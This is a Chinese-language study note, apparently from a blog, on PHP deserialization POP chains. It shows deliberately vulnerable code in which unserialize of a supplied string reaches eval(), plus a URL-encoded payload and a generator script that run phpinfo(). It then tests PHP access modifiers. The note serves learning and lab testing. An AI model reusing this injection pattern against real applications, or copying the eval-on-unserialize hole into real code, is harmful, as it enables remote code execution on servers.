smile师傅的帖子
这边主要是师傅给出的例子代码分析
//直接贴smile师傅里的东西了
__construct()当一个对象创建时被调用,但在unserialize()时是不会自动调用的。
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup将在序列化之后立即被调用
觉得师傅关于pop链写的挺通俗易懂的
具体分析师傅博客里都写了,我就不一直贴了,一直贴怪不好意思的。
这篇相当于一点笔记....
//smiletest.php
<?php
class Smile
{
protected $ClassObj;
function __construct()
{
$this->ClassObj = new safe();
}
function __destruct()
{
$this->ClassObj->action();
}
}
class safe
{
function action()
{
echo "here is safe";
}
}
class unsafe
{
private $data;
function action()
{
eval($this->data);
}
}
$b = "O%3A5%3A%22Smile%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A6%3A%22unsafe%22%3A1%3A%7Bs%3A12%3A%22%00unsafe%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D";
$c = unserialize(urldecode($b));
?>
这是存在漏洞的代码,方便测试,我把get获得序列化字符串换成了变量。
源payload的php我就不贴了,师傅的博客里有,执行下来获得的payload就是变量b的值了。可以执行phpinfo。
按照我的思路在payload上改了一下
//smileshell.php
<?php
class Smile
{
protected $ClassObj;
// function __construct()
// {
// $this->ClassObj = new unsafe();
// }
}
class unsafe
{
private $data;
}
$a = new Smile();
$a->ClassObj = new unsafe();
$a->ClassObj->data = "phpinfo();";
echo urlencode(serialize($a)).PHP_EOL;
// O%3A5%3A%22Smile%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A6%3A%22unsafe%22%3A1%3A%7Bs%3A12%3A%22%00unsafe%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D
?>
欸,这里报错了,告诉我ClassObj无法访问。
这里可以看到访问控制,public,protected,private。
搜了搜,还真有一篇php的
访问控制,三个修饰符的区别
但是csdn,em...改了之后复制代码不舒服,于是比着这个师傅的代码自己写了一个测试
<?php
//class_control.php
/**
*
*/
class test
{
public $pub = "pub";
protected $pro = "pro";
private $pri = "pri";
function printtest()
{
echo $this->pub.PHP_EOL;
echo $this->pro.PHP_EOL;
echo $this->pri.PHP_EOL;
}
}
$a = new test();
// echo $a->pub.PHP_EOL;
// echo $a->pro.PHP_EOL;
// echo $a->pri.PHP_EOL;
$a->pub = "newpub";
// $a->pro = "newpro";
// $a->pri = "newpri";
$a->printtest();
?>
实验一下就可以看出来,pro和pri外部无法访问,不能赋值,不能输出。pub都可以。应该还有更详细的区别,这里就实验到这里。
所以,在php反序列化赋值的时候
使用__construct魔术方法赋值的好处就是很稳妥,无论什么样的变量,都可以这样赋值。
而如果想在获取序列化字符串时,只在类中定义变量,而在外部赋值,可能就会出现无法访问变量的报错。
想把public改成protected...em....反序列化出来应该不行吧....试一试。
试了,⑧行,只要把代码改一改就行了,就不贴了。
这样就明白了为什么大佬的payload里面都是使用__construct赋值的